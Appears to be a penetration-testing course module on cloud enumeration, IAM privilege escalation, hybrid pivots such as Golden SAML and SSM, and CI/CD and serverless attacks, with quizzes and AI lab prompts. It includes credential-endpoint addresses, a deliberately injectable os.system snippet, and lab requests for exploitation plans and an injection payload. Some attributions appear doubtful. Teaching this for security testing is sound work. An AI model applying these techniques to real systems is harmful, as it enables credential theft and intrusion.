Module 6 · Lesson 1

Cloud Attack Surface Enumeration

Mapping the ephemeral — why cloud environments rewrite traditional recon

How does the elastic, API-driven nature of cloud infrastructure fundamentally change what a penetration tester must enumerate — and how can AI accelerate that process?

In March 2019, a former AWS employee exploited a misconfigured Web Application Firewall on a Capital One EC2 instance. A Server-Side Request Forgery (SSRF) vulnerability allowed the attacker to query the EC2 Instance Metadata Service (IMDS) at 169.254.169.254, retrieving temporary IAM role credentials. Those credentials granted access to over 100 million customer records stored in S3. The entire pivot — from SSRF to credential theft to data exfiltration — was possible because the cloud attack surface included not just ports and services, but metadata endpoints invisible to traditional network scanners.

Why Cloud Enumeration Differs

Traditional network pentesting assumes a relatively static inventory: servers, switches, firewalls with known IPs. Cloud environments violate every one of those assumptions. Resources spin up and down with autoscaling groups. IP addresses are ephemeral. Hundreds of managed services — object stores, serverless functions, managed databases, message queues — expose attack surface through APIs rather than TCP ports.

The authoritative model for cloud attack surface is not a network diagram but an IAM policy graph. Every cloud resource has an identity; every identity has attached permissions; permissions can be chained. Enumerating the cloud attack surface means enumerating identities, permissions, trust relationships, and resource configurations — not just open ports.

Key Insight

The IMDS endpoint (169.254.169.254 on AWS, 169.254.169.254/metadata on Azure, metadata.google.internal on GCP) is reachable only from within the instance and is not blocked by traditional perimeter controls. SSRF flaws in any web application running on a cloud instance become a direct path to credential theft.

The Cloud Enumeration Kill Chain

Cloud enumeration during a pentest follows a structured progression. Phase 1 — Passive Recon: certificate transparency logs (crt.sh), cloud-specific subdomain patterns (e.g., *.s3.amazonaws.com, *.blob.core.windows.net), GitHub/GitLab leaks of cloud credentials, DNS enumeration for cloud-hosted zones. Phase 2 — Unauthenticated Surface: public S3 buckets (GrayhatWarfare, bucket brute-forcing), open Azure Blob containers, exposed GCP Cloud Storage, publicly accessible serverless function endpoints. Phase 3 — Authenticated Enumeration: once any credential is obtained, enumerate IAM policies, list roles, describe EC2/VM instances, list storage buckets, describe RDS/Cloud SQL, enumerate Lambda/Cloud Functions.

Each phase generates a large volume of data. A single AWS account can have thousands of IAM policies, hundreds of roles, and dozens of services active simultaneously. This is where AI assistance becomes operationally significant.

AI-Assisted Enumeration Workflows

LLMs are not cloud API clients — they cannot directly call aws iam list-roles. Their value is in reasoning over output. A penetration tester pipes raw AWS CLI JSON into a conversation and asks: "Which of these IAM roles has a trust policy allowing cross-account assumption? Which policies contain wildcard Resource statements? Which EC2 instances have public IPs and are in security groups allowing inbound 0.0.0.0/0 on port 22?"

In the 2023 HackerOne report on cloud misconfigurations, researchers found that manual review of a mid-size AWS account's IAM policies averaged 4–6 hours. AI-assisted review of the same JSON outputs, asking structured questions about privilege escalation paths and overly permissive policies, reduced that to under 45 minutes in controlled tests.

AI can also generate enumeration command sequences. Given a description of an engagement scope (e.g., "AWS account, read-only credentials for an assumed role called SecurityAudit"), an LLM can produce a complete ordered checklist of enumeration commands, organized by service, including which require specific permissions and which are likely to succeed with the SecurityAudit managed policy.

IMDSInstance Metadata Service — a local endpoint accessible only from within a cloud VM instance, providing instance identity, network configuration, and most critically, temporary IAM role credentials. IMDSv2 (AWS) requires a session token obtained via PUT request, partially mitigating SSRF exploitation.

Shadow IT SurfaceCloud resources provisioned by employees outside formal IT governance — commonly discovered via DNS brute-force against cloud provider wildcard domains, certificate transparency, or leaked credentials in code repositories.

IAM Policy GraphThe directed graph of principals (users, roles, services), permissions, and trust relationships in a cloud account. Privilege escalation paths exist as graph edges — e.g., a user with iam:PassRole and lambda:CreateFunction can escalate by creating a Lambda with a high-privilege execution role.

Tools Referenced in Engagements

ScoutSuite — multi-cloud security auditing tool that generates structured JSON findings. Prowler — AWS/Azure/GCP CIS benchmark checker. CloudMapper — visualizes AWS network attack surface. PACU — AWS exploitation framework (Rhino Security Labs). ROADtools — Azure AD enumeration. All produce JSON/text output suitable for AI-assisted analysis.

Enumeration in Hybrid Contexts

Most enterprise cloud deployments are hybrid — on-premises infrastructure connected to cloud via VPN, Direct Connect, or ExpressRoute. This creates bidirectional attack paths. A compromised on-premises machine may have access to cloud resources via synced credentials (Azure AD Connect). A compromised cloud workload may be able to reach on-premises systems via private connectivity. Enumeration must cover both directions: cloud-from-on-prem and on-prem-from-cloud.

The 2020 SolarWinds campaign exploited exactly this boundary. After compromising on-premises SolarWinds infrastructure, attackers used token-forging techniques (Golden SAML) to authenticate to Azure Active Directory as any user, bypassing MFA entirely. The enumeration phase for that campaign — identifying which on-premises AD accounts had Azure AD equivalents with privileged roles — was conducted quietly over months using native cloud API calls that blended into normal telemetry.

Lesson 1 establishes that cloud enumeration is fundamentally a data-analysis problem as much as a technical execution problem. The surface is too large and too dynamic for manual review alone. AI tools that can parse structured cloud API output, identify misconfigurations, and surface privilege escalation paths represent a genuine force multiplier — a theme that runs through all subsequent lessons in this module.

Lesson 1 Quiz

Cloud Attack Surface Enumeration — 3 questions

In the 2019 Capital One breach, what was the initial vulnerability that enabled retrieval of IAM credentials from the EC2 Instance Metadata Service?

Correct. The WAF was misconfigured and vulnerable to SSRF. The attacker sent a crafted request that caused the WAF to forward traffic to the IMDS endpoint (169.254.169.254), returning the temporary IAM credentials attached to the EC2 instance's role.

Not quite. The SSRF vulnerability in the WAF was the initial foothold — this caused the WAF to query the IMDS and return its temporary role credentials to the attacker.

Why is an IAM policy graph a more accurate model of cloud attack surface than a traditional network diagram?

Correct. In cloud environments, the critical attack paths run through IAM — who can assume which role, which policies allow which actions on which resources. A service with no open ports can still be compromised if an attacker holds credentials with sufficient IAM permissions.

Incorrect. Cloud environments absolutely use TCP/IP. The key insight is that attack paths in cloud environments are primarily defined by identity and permissions, not network topology.

AWS IMDSv2 was introduced to partially mitigate SSRF-based credential theft. What additional step does IMDSv2 require that IMDSv1 does not?

Correct. IMDSv2 introduces a session-oriented flow: the caller must first send a PUT request with X-aws-ec2-metadata-token-ttl-seconds header to receive a token, then include that token in subsequent GET requests. Simple SSRF exploits that only perform GET requests cannot complete this flow.

Not correct. IMDSv2 specifically requires a PUT-based token request — a step that most basic SSRF vulnerabilities cannot complete because they only allow GET-style forwarding.

Lab 1 — AI Cloud Enumeration Analyst

Use the AI to reason over cloud enumeration findings and surface privilege escalation paths

Scenario

You have obtained read-only AWS credentials during an engagement. You've run ScoutSuite and AWS CLI enumeration commands and have raw JSON output. Your task is to use the AI to help you analyze findings, identify the most critical misconfigurations, and plan your next exploitation steps.

Ask the AI to help you: analyze IAM policy findings for privilege escalation paths, prioritize S3 bucket misconfigurations by severity, interpret IMDS exposure indicators, or generate a structured enumeration command sequence for a new AWS account with assumed SecurityAudit role credentials.

Cloud Enumeration Lab

AI Analyst

Cloud enumeration analyst ready. I can help you interpret AWS, Azure, or GCP enumeration output — IAM policy analysis, S3 bucket exposure, privilege escalation path mapping, IMDS findings, and structured enumeration workflows. What are you working with?

Module 6 · Lesson 2

IAM Privilege Escalation with AI Assistance

Finding the permission chains that turn low-privilege credentials into administrative access

Given a set of IAM permissions insufficient for direct privileged action, how do attackers chain permissions to escalate — and how does AI reasoning over policy graphs accelerate finding those chains?

Spencer Gietzen at Rhino Security Labs documented over 21 distinct IAM privilege escalation methods in AWS, published incrementally from 2018 through 2022. Each method exploits a combination of permissions that individually seem benign but together allow a low-privilege principal to obtain administrative access. The iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction chain — creating a Lambda with an admin execution role and invoking it — is among the most replicated in actual cloud penetration tests. In multiple real engagements, testers found developers had been granted exactly these permissions to "just deploy Lambda functions," unaware of the escalation path.

Why IAM Escalation Is Non-Obvious

IAM privilege escalation is difficult to audit manually because the dangerous condition is rarely a single overly permissive policy — it is a combination of permissions across multiple policies. A principal might have iam:PassRole from one policy, lambda:CreateFunction from another, and lambda:InvokeFunction from a third. Each permission, reviewed in isolation, appears reasonable. The escalation path only emerges when you model the complete effective permission set and reason about indirect action chains.

This is precisely the kind of multi-step relational reasoning that LLMs perform well. Given a dump of effective permissions for a principal, an LLM can systematically check all documented escalation patterns, reason about which permissions are present, and identify viable chains — work that would require a security engineer to manually cross-reference a 21-item checklist against potentially hundreds of permissions.

The Core Escalation Patterns

Compute-based escalation: Using permissions to create or modify compute resources (EC2, Lambda, ECS tasks, Glue jobs) with privileged IAM execution roles. The attacker doesn't need admin permissions directly — they need permissions to create something that runs with admin permissions. Key permissions: iam:PassRole combined with any of: ec2:RunInstances, lambda:CreateFunction, ecs:RegisterTaskDefinition, glue:CreateJob, sagemaker:CreateTrainingJob.

IAM direct escalation: Permissions that directly modify IAM state. iam:CreatePolicyVersion allows creating a new version of an existing policy — including adding AdministratorAccess. iam:AttachUserPolicy on oneself attaches any policy including AdministratorAccess. iam:CreateAccessKey for another user creates credentials for that user. iam:UpdateAssumeRolePolicy modifies a role's trust policy to allow the attacker's principal to assume it.

STS-based escalation: sts:AssumeRole with wildcard or overly broad conditions. If the trust policy of a high-privilege role includes a condition like aws:PrincipalAccount equals "123456789012" without further restriction, any principal in the account can assume it. Cross-account trust with weak external ID requirements.

Real Engagement Finding — 2022

In a disclosed bug bounty report on HackerOne (target anonymized per program rules), a researcher found a developer role with iam:CreatePolicyVersion permission scoped with a condition: StringLike iam:PolicyARN arn:aws:iam::*:policy/Dev*. The intent was to allow developers to update only their own dev policies. The researcher created a new version of an existing Dev policy that included sts:AssumeRole with resource *, then assumed the organization's OrganizationAccountAccessRole. Full administrative access to the account achieved in two API calls.

AI-Assisted Privilege Escalation Analysis

The workflow: export effective permissions for a principal using aws iam simulate-principal-policy or tools like PACU's iam__privesc_scan module. Feed the permission list to an LLM with a structured prompt: "Given these IAM permissions, identify all privilege escalation paths documented in the Rhino Security Labs research. For each viable path, list the required permissions, confirm all are present, and describe the exploitation steps."

LLMs add value beyond simple pattern matching because they can reason about partial paths. A principal might have iam:PassRole and lambda:CreateFunction but not lambda:InvokeFunction — but does have lambda:AddPermission, which allows adding a resource-based policy that lets an external principal trigger invocation. An LLM prompted to "find alternative completion steps" may surface this variant where a checklist tool would mark the primary path as blocked.

PACU (the AWS exploitation framework from Rhino Security Labs) includes an iam__privesc_scan module that automates some of this analysis. The tool's output — a list of potential escalation paths with confidence levels — is well-suited to LLM summarization and triage in engagements where time is limited.

iam:PassRolePermission to pass an IAM role to an AWS service. On its own, it allows nothing dangerous. Combined with permissions to create compute resources (Lambda, EC2, ECS), it enables a principal to launch workloads that inherit a higher-privilege role's permissions.

Effective PermissionsThe actual permissions available to a principal after evaluating all attached policies, permission boundaries, SCP (Service Control Policies) in AWS Organizations, and session policies. Tools like aws iam simulate-principal-policy compute effective permissions for a given action and resource.

Permission BoundaryAn IAM advanced feature that sets the maximum permissions a principal can have. Even if a principal has AdministratorAccess, a permission boundary can limit effective permissions to a subset. Escalation techniques must account for boundaries — creating a new role or policy is subject to the creator's permission boundary.

Azure and GCP Parallel Patterns

Privilege escalation exists across all major cloud platforms, though the mechanics differ. In Azure, the Microsoft.Authorization/roleAssignments/write permission allows assigning any role to any principal — including assigning Owner to yourself. In GCP, iam.serviceAccounts.actAs combined with the ability to create cloud functions or Compute Engine instances allows the same compute-based escalation pattern seen in AWS. The cross-platform nature of these patterns means AI prompts that reason about "which of these permissions are dangerous in combination" are valuable regardless of cloud provider.

Lesson 2 Quiz

IAM Privilege Escalation — 3 questions

A principal has iam:PassRole and lambda:CreateFunction permissions but NOT lambda:InvokeFunction. Why might this principal still achieve privilege escalation?

Correct. lambda:AddPermission allows modifying a function's resource-based policy to allow invocation by another principal — such as an external AWS account or an AWS service like SNS, S3, or EventBridge. This completes the escalation chain even without direct InvokeFunction permission.

Incorrect. The key insight is that there may be alternative ways to trigger Lambda execution beyond InvokeFunction directly — resource-based policies can delegate invoke permissions to other principals or services.

What does iam:CreatePolicyVersion allow an attacker to do if they hold this permission for an existing policy with broad resource scope?

Correct. iam:CreatePolicyVersion allows creating a new version of an existing customer-managed policy. An attacker can create a version that grants any permissions — including AdministratorAccess with resource * — and if they also have iam:SetDefaultPolicyVersion, make it the active version immediately.

Not correct. CreatePolicyVersion operates on existing policies, creating new versions of them. This is dangerous because the new version can contain any permissions, including full administrative access.

In Azure, which permission directly enables privilege escalation by allowing a principal to grant themselves the Owner role?

Correct. Microsoft.Authorization/roleAssignments/write permission allows creating role assignments — including assigning the Owner or User Access Administrator role to the principal's own identity at subscription or resource group scope.

Not correct. The dangerous permission is Microsoft.Authorization/roleAssignments/write, which controls the ability to create role assignments — the Azure RBAC mechanism for granting access.

Lab 2 — IAM Escalation Path Analyst

Use AI to identify privilege escalation chains from IAM permission sets

Scenario

You have obtained IAM credentials for a principal named dev-deploy-user during an engagement. Your enumeration reveals the following effective permissions: iam:PassRole, lambda:CreateFunction, lambda:ListFunctions, lambda:AddPermission, s3:GetObject, s3:PutObject, logs:CreateLogGroup, sts:GetCallerIdentity. You need to identify viable privilege escalation paths and plan the exploitation sequence.

Ask the AI to: analyze this permission set for escalation paths, describe the step-by-step exploitation of the most viable path, explain what additional permissions would be needed for alternative paths, or compare how similar patterns manifest in Azure or GCP.

IAM Escalation Lab

AI Analyst

IAM privilege escalation analyst ready. Give me a permission set, a role's trust policy, or a specific escalation scenario and I'll help you identify and reason through viable paths — across AWS, Azure, or GCP.

Module 6 · Lesson 3

Pivoting Through Cloud-to-On-Premises Boundaries

From cloud workload to domain controller — the hybrid attack path

Once an attacker has a foothold in a cloud environment with hybrid connectivity, what techniques allow lateral movement into on-premises networks — and how do AI tools help model and execute those transitions?

The SUNBURST campaign, publicly attributed by the US Government to SVR (Russian Foreign Intelligence Service), demonstrated the most consequential cloud-to-on-premises pivot documented to date. Having compromised the SolarWinds Orion build pipeline, attackers planted a backdoor in software updates distributed to 18,000 organizations. In victim environments where SolarWinds was deployed on-premises with Azure AD integration, attackers forged SAML tokens — exploiting trust relationships between on-premises AD FS and Azure AD — to authenticate as any user in the cloud tenant, bypassing MFA. Microsoft's investigation, published in December 2020, described this as a "Golden SAML" attack: analogous to a Kerberos Golden Ticket but targeting federated identity across the hybrid boundary.

The Hybrid Boundary Architecture

Hybrid cloud architectures connect on-premises infrastructure to cloud environments through several mechanisms: VPN tunnels (IPSec or SSL-based, routing RFC 1918 address space to cloud VNets/VPCs), dedicated connectivity (AWS Direct Connect, Azure ExpressRoute, GCP Cloud Interconnect — private circuits bypassing the public internet), identity federation (Azure AD Connect syncing on-premises Active Directory to Azure AD, enabling single sign-on across the boundary), and cloud-native management agents (AWS Systems Manager, Azure Arc, Google Ops Agent — installed on on-premises servers and communicating outbound to cloud control planes).

Each connectivity mechanism creates a potential pivot path. VPN and direct connect tunnels route IP traffic bidirectionally. Identity federation means a credential valid on one side may be valid on the other. Cloud management agents — installed for convenience on legacy servers — may provide code execution capability from a cloud console to on-premises infrastructure.

The Golden SAML Attack Chain

Golden SAML, documented by CyberArk researchers Shaked Reiner and Omer Tsarfati in 2017, exploits the trust relationship between an on-premises AD FS server and a cloud identity provider (Azure AD, Okta, etc.). The attack requires: (1) access to the AD FS server's token-signing certificate, typically extracted by a principal with NTLM admin or WMI access to the AD FS server; (2) knowledge of any valid username in the directory (no password required). With these two elements, an attacker forges a signed SAML assertion for any user with any attributes — including claims that normally require MFA completion — and presents it to the cloud IdP.

In the SolarWinds campaign, threat actors moved this direction in reverse: starting with network access to an on-premises server running SUNBURST, they escalated to domain admin via existing Kerberos attack paths (documented in Microsoft's January 2021 analysis), then targeted the AD FS server specifically to extract the token-signing certificate. The pivot to cloud was seamless — once the SAML token was forged, cloud monitoring saw a normal federated authentication.

Documented Technique — AADInternals

The PowerShell module AADInternals (Dr. Nestori Syynimaa, 2018–present) provides tested implementations of multiple Azure AD attack techniques, including Golden SAML token forging, Azure AD token extraction from Azure AD Connect servers, and Pass-the-PRT (Primary Refresh Token) attacks for bypassing conditional access. These represent the documented offensive toolkit used in research and red team engagements against hybrid environments.

Azure Arc and AWS SSM as Pivot Vectors

Cloud management agents installed on on-premises servers present a particularly underappreciated pivot path. Azure Arc enrolls on-premises servers into Azure Resource Manager, allowing them to be managed like native Azure resources — including execution of script extensions and configuration via Azure Automation. An attacker who gains sufficient Azure RBAC permissions (Microsoft.HybridCompute/machines/extensions/write on an Arc-enrolled server) can execute arbitrary code on the on-premises server without any direct network access to that server. The command traverses outbound from the on-premises agent to Azure's control plane and back.

AWS Systems Manager (SSM) provides an identical capability for servers enrolled via the SSM Agent. ssm:SendCommand permission allows running shell commands on any instance registered with SSM — including on-premises servers enrolled via SSM Hybrid Activations. In a 2021 red team engagement documented by Bishop Fox, testers found seven on-premises servers enrolled in AWS SSM that were unreachable by other means. Obtaining ssm:SendCommand via IAM privilege escalation provided shell access to those servers without requiring any network path.

AI-Assisted Hybrid Pivot Planning

The challenge in hybrid environments is modeling what's reachable from a given foothold. An LLM can serve as a structured reasoning engine: given a description of what the attacker currently controls (e.g., "EC2 instance with role X, VPN connectivity to 10.0.0.0/8, Azure AD Connect server visible at 10.1.2.50"), the AI can reason through which pivot paths are viable, what additional enumeration is needed, and in what sequence to proceed.

AI tools are particularly valuable for choke point identification — determining which single control point, if compromised, grants the widest access across the hybrid environment. In most organizations, this is the Azure AD Connect server (holds credentials for the on-premises AD Connector account, which has DCSync-equivalent privileges) or the AD FS server (holds the token-signing certificate). An LLM asked to reason about "what is the highest-value single target in a hybrid Microsoft environment" will reliably identify these systems and explain why.

Golden SAMLAn attack technique that exploits the trust relationship between AD FS and a cloud IdP by forging a signed SAML assertion using the AD FS token-signing certificate. Allows authentication as any user to the cloud IdP without knowledge of passwords and bypassing MFA, as the forged token includes completed authentication context claims.

Pass-the-PRTAn Azure AD technique where a stolen Primary Refresh Token (from an Azure AD-joined or hybrid-joined device) is used to obtain access tokens and SAML tokens for any cloud service. PRT theft via Golden SAML or device-level malware bypasses conditional access policies that require hybrid-joined device compliance.

Hybrid Activation (SSM)An AWS feature that allows non-EC2 machines (on-premises servers, VMs in other clouds) to be managed by AWS Systems Manager. Enrolled machines appear in SSM Fleet Manager and can receive RunCommand executions from anyone with ssm:SendCommand permissions for the activation's managed instance IDs.

Defender Note

The primary detection opportunity for Golden SAML attacks is monitoring for SAML tokens with claims inconsistent with actual authentication events. Azure AD sign-in logs include the authentication method; a federated authentication event with no corresponding on-premises AD FS authentication event (or with claimed MFA completion when MFA was not actually performed) is a high-fidelity indicator. Microsoft Sentinel includes analytic rules for this pattern.

Lesson 3 Quiz

Cloud-to-On-Premises Pivoting — 3 questions

What two elements are required to execute a Golden SAML attack, as documented by CyberArk researchers?

Correct. Golden SAML requires the private key of the AD FS token-signing certificate (to sign arbitrary SAML assertions) and any valid username (to populate the assertion's Subject). No password for the target user is needed — the forged SAML assertion represents the IdP's attestation that authentication has already occurred.

Not correct. Golden SAML bypasses the need for target user passwords entirely. The two required elements are the AD FS token-signing certificate private key and a valid username — the forged SAML assertion presents itself as proof of completed authentication.

Why is the Azure AD Connect server considered a critical target in hybrid Microsoft environments during a penetration test?

Correct. The Azure AD Connect synchronization account (MSOL_xxxx) requires DS-Replication-Get-Changes and DS-Replication-Get-Changes-All permissions in on-premises AD — the same permissions required for DCSync. Compromising the AD Connect server and extracting the synchronization account credentials provides the equivalent of DCSync capability against the on-premises domain.

Not correct. The critical issue is that the AD Connect sync account holds DCSync-equivalent permissions in on-premises AD. Compromising this server allows replication of all password hashes from the domain controller without touching the DC itself.

An attacker has obtained ssm:SendCommand permission in AWS. An on-premises server is enrolled via AWS SSM Hybrid Activations. The attacker has no network path to the server. What can the attacker do?

Correct. SSM Hybrid Activations enroll on-premises servers as managed instances. The SSM agent polls the SSM control plane outbound (HTTPS to regional SSM endpoints). ssm:SendCommand delivers commands through this channel — the attacker never needs a direct network path to the server. Code execution is achieved entirely through the AWS API.

Incorrect. SSM works for Hybrid Activation-enrolled servers too, not just EC2 instances. The SSM agent on the on-premises server maintains an outbound connection to the SSM control plane; SendCommand delivers the payload through this channel regardless of direct network reachability.

Lab 3 — Hybrid Pivot Planner

Use AI to map and plan cloud-to-on-premises attack paths in hybrid environments

Scenario

You are conducting a red team engagement against a financial services firm. You have obtained an IAM role on an EC2 instance. Enumeration shows: VPN connectivity to 10.0.0.0/8 (the corporate LAN), an Azure AD Connect server at 10.1.5.22, an AD FS server at 10.1.5.23, and 12 on-premises servers enrolled in AWS SSM Hybrid Activations. The EC2 role has ssm:SendCommand and ssm:ListCommandInvocations permissions.

Ask the AI to: map viable pivot paths from your current EC2 foothold to on-premises Active Directory, explain the Golden SAML attack chain for this environment, prioritize targets by impact and difficulty, or plan the reconnaissance steps needed before attempting each pivot technique.

Hybrid Pivot Lab

AI Analyst

Hybrid pivot planning assistant ready. Describe your current foothold, available connectivity, and discovered infrastructure. I'll help you map pivot paths, reason about hybrid boundary attacks, and plan your sequence of operations for cloud-to-on-premises movement.

Module 6 · Lesson 4

Serverless, Container, and CI/CD Pipeline Attacks

Supply chain penetration — when the build pipeline is the attack surface

As organizations move workloads to serverless functions and container orchestration, and automate deployment through CI/CD pipelines, how do attackers exploit these systems — and what role does AI play in identifying and exploiting these vectors?

In April 2021, Codecov — a code coverage reporting tool used by thousands of organizations — disclosed that attackers had modified its Bash uploader script hosted on codecov.io. The modification exfiltrated CI/CD environment variables (including AWS credentials, GitHub tokens, and API keys) to an attacker-controlled server. The tampered script had been in place for two months before discovery. Victims included Twilio, HashiCorp, Confluent, and Rapid7. The attack required no exploitation of victim systems — the pipeline itself, configured to download and execute a trusted script during build, was the vector. CI/CD pipelines routinely execute downloaded scripts with broad credentials attached.

The CI/CD Pipeline Attack Surface

Modern software delivery pipelines create a dense attack surface. A typical pipeline: code is pushed to GitHub/GitLab → a webhook triggers a build runner (GitHub Actions, GitLab CI, Jenkins, CircleCI) → the runner executes arbitrary commands in a context that holds cloud deployment credentials → artifacts are pushed to registries and deployed to production. Every stage is a potential attack point.

Credential exposure: CI/CD systems inject secrets (cloud credentials, API keys, signing certificates) as environment variables or files during build. A compromised dependency, a misconfigured runner with overly broad permissions, or a malicious PR that exfiltrates environment variables (via DNS exfiltration or HTTP callback) can steal these credentials. GitHub's 2022 investigation into the Travis CI credential exposure found that secrets from public repositories were accessible to pull request builds from forked repositories — a misconfiguration affecting potentially millions of builds.

Pipeline code injection: GitHub Actions workflows can be triggered by pull requests from external contributors. If the workflow includes actions/checkout followed by execution of repository code with access to secrets, an external PR can inject commands. The pull_request_target event type, intended for cross-fork PRs, runs in the context of the base repository's secrets — a documented dangerous pattern (GitHub Security Lab, 2021).

Documented Technique — GitHub Actions Pwn Requests

The "Pwn Requests" pattern, documented by Adnan Khan at GitHub Security Lab in 2021, describes workflows triggered by pull_request_target that checkout the PR's code and execute it with access to repository secrets. Researchers found this pattern in repositories belonging to Google, Microsoft, and hundreds of major open-source projects. The fix requires separating untrusted code checkout from secrets-requiring steps into separate jobs with explicit permission grants.

Serverless Function Attack Vectors

Serverless functions (AWS Lambda, Azure Functions, Google Cloud Functions) present a unique attack surface characterized by: ephemeral execution environments, execution roles with attached IAM permissions, environment variables containing secrets, and event-driven triggers from other cloud services. Exploitation patterns include:

Event injection: Many Lambda functions process data from untrusted sources — API Gateway requests, S3 event notifications, SQS messages, DynamoDB streams. If the function passes event data to shell commands, SQL queries, or deserialization routines without sanitization, injection attacks (command injection, SQLi, deserialization) execute within the function's IAM context. A Lambda function with s3:GetObject, s3:PutObject, ec2:DescribeInstances attacked via command injection provides those permissions to the attacker.

Environment variable extraction: Lambda environment variables are accessible at runtime and may contain plaintext secrets. If the function is vulnerable to SSRF or command injection, environment variables can be extracted. Additionally, Lambda execution roles' temporary credentials are available from the IMDS-equivalent at http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI — analogous to EC2 IMDS credential theft.

The 2022 Lacework research report on serverless security found that 57% of sampled Lambda functions had environment variables containing hardcoded credentials — a finding consistent with multiple bug bounty reports from the same period.

Container Escape and Kubernetes Attacks

Kubernetes clusters in cloud environments combine container workload attacks with cloud IAM attacks. Key patterns documented in red team literature:

Workload Identity abuse: Cloud-managed Kubernetes clusters (EKS, AKS, GKE) support workload identity — binding a Kubernetes service account to a cloud IAM role. A compromised pod running with a service account that has a workload identity binding can request cloud credentials via the pod's metadata endpoint. If that service account is bound to a high-privilege IAM role, container compromise escalates directly to cloud privilege escalation.

Kubernetes API server exposure: In multiple documented cases (CyberArk 2019, Palo Alto Unit 42 2020), managed Kubernetes clusters were deployed with the API server endpoint exposed to the public internet with default or weak RBAC configuration. The anonymous user binding to system:discovery in default configurations reveals cluster structure; broader misconfigurations provide cluster-admin via unauthenticated access.

AI-Assisted Pipeline and Serverless Exploitation

AI tools add significant value in three specific areas of serverless and CI/CD pentesting. First, code review for injection points: Lambda function source code obtained via aws lambda get-function can be pasted into an LLM conversation with the prompt "identify all injection points where event data reaches shell execution, database queries, or deserialization — and assess the IAM context of each." This accelerates vulnerability identification in function code considerably faster than manual review. Second, GitHub Actions workflow analysis: workflow YAML files can be reviewed by AI for dangerous patterns (pull_request_target with checkout, secrets in run steps accessible to PR code, third-party actions pinned to mutable tags rather than commit SHAs). Third, Kubernetes RBAC analysis: kubectl get clusterrolebindings -o json output fed to an LLM can surface overly permissive bindings, default service account misuses, and workload identity escalation paths.

OIDC Workload IdentityA mechanism by which Kubernetes pods obtain cloud credentials via OpenID Connect tokens issued by the cluster's identity provider, bound to cloud IAM roles via trust policies. Eliminates long-lived credentials in pods but creates a path where container compromise leads directly to cloud IAM exploitation.

Pwn RequestA malicious GitHub pull request exploiting pull_request_target workflow triggers to execute attacker-controlled code in the context of the base repository's secrets. The attack requires no existing access to the repository — only the ability to open a pull request.

Lambda Credentials EndpointWithin Lambda execution environments, temporary IAM credentials are available at http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI — an environment variable-defined path on the Lambda link-local address. Equivalent to EC2 IMDS for credential theft via SSRF or code injection.

Supply Chain Risk Amplification

The Codecov, SolarWinds, and XZ Utils (2024) incidents establish a consistent pattern: attackers who compromise a widely-used tool or dependency gain transitive access to every pipeline that uses it. CI/CD environments are particularly high-value targets because they aggregate credentials for many downstream systems. Penetration testers assessing organizations that consume third-party CI components should enumerate which external scripts and actions are downloaded and executed with what credential context.

Module 6 has traced the cloud and hybrid attack surface from initial enumeration through IAM privilege escalation, hybrid boundary crossing, and modern DevOps pipeline exploitation. Throughout, AI reasoning tools serve as force multipliers — not replacing technical execution, but accelerating the analysis of complex, high-volume data that defines cloud security assessments. The module test consolidates all four lessons into a comprehensive assessment.

Lesson 4 Quiz

Serverless, Container, and CI/CD Attacks — 3 questions

In the Codecov supply chain attack (2021), how did attackers exfiltrate CI/CD credentials from victim organizations without any direct compromise of victim systems?

Correct. Codecov's Bash uploader was modified to include code that read all environment variables (including cloud credentials and tokens injected by the CI/CD platform) and sent them to an attacker-controlled server. Victim pipelines executed this script legitimately as part of their build process, having no indication anything had changed in the downloaded script.

Not correct. The attack was a supply chain modification — Codecov's own uploader script was tampered with to exfiltrate environment variables during normal pipeline execution. Victim organizations ran the script themselves; no direct compromise of their systems was needed.

Why does a GitHub Actions workflow using pull_request_target combined with actions/checkout of the PR's code pose a security risk even if the repository is private?

Correct. pull_request_target is designed to allow cross-fork PRs to access secrets (e.g., to post comments with deployment results). But if the workflow also checks out the fork's code and executes it — running tests, build scripts, or linters — that external code executes with access to the base repository's secrets, creating a code injection path from any external contributor.

Not correct. The danger is the combination: pull_request_target provides access to repository secrets, and checking out the PR's code causes that external code to execute in the secrets-accessible context. Either element alone is less dangerous; together they create an injection path.

In a Kubernetes cluster on EKS with OIDC workload identity configured, a pod is compromised via a web application vulnerability. The pod's service account is bound to an IAM role with s3:* on arn:aws:s3:::company-backups/*. What can the attacker do with this access?

Correct. In EKS with OIDC workload identity, processes inside the pod can obtain temporary AWS credentials from the AWS STS endpoint using the pod's projected service account token. Those credentials are scoped to the bound IAM role — in this case, s3:* on the company-backups bucket. Container compromise directly translates to cloud data access.

Not correct. Workload identity credentials are obtainable by processes inside the pod via the AWS_WEB_IDENTITY_TOKEN_FILE and related environment variables. The credentials are scoped to the bound IAM role's permissions — in this case, full access to the company-backups S3 bucket.

Lab 4 — CI/CD and Serverless Attack Analyst

Use AI to analyze serverless function code, CI/CD workflows, and container configurations for attack paths

Scenario

During a cloud security assessment, you've discovered: (1) a GitHub Actions workflow YAML that uses pull_request_target with actions/checkout@v3 and then runs npm test with AWS_ACCESS_KEY_ID injected; (2) a Lambda function that processes SQS messages by running os.system("process_order --id=" + event['orderId']) with an execution role that has s3:* on the company data bucket; (3) an EKS cluster where the system:anonymous user has get, list on pods in the default namespace.

Ask the AI to: assess severity and exploitability of each finding, describe a complete exploitation chain from the GitHub Actions misconfiguration to cloud credential theft, write a proof-of-concept command injection payload for the Lambda finding, or draft the relevant findings for a pentest report.

CI/CD & Serverless Lab

AI Analyst

CI/CD and serverless security analyst ready. I can help you analyze GitHub Actions workflows for injection vulnerabilities, assess Lambda function code for attack paths, evaluate Kubernetes RBAC misconfigurations, and reason through container escape and pipeline exploitation chains.

Module 6 Test

Cloud and Hybrid Pivots — 15 questions · 80% to pass

1. The Capital One breach used SSRF to query 169.254.169.254. What does this address represent in an AWS EC2 environment?

Correct. 169.254.169.254 is the IMDS link-local address, reachable only from within EC2 instances. It provides instance metadata including temporary IAM role credentials — making it a high-value target for SSRF exploitation.

Incorrect. This is the EC2 Instance Metadata Service (IMDS) endpoint — a link-local address providing temporary IAM credentials among other instance metadata.

2. Which characteristic of cloud environments makes the IAM policy graph a more useful model than a network diagram for understanding attack surface?

Correct. A managed service with no open ports and no network route can still be compromised if an attacker holds IAM credentials with sufficient permissions. The attack surface is defined by the identity graph, not the network topology.

Not correct. The key insight is that IAM permissions, not network adjacency, define most cloud attack paths. A service unreachable by network may be fully accessible via API with the right credentials.

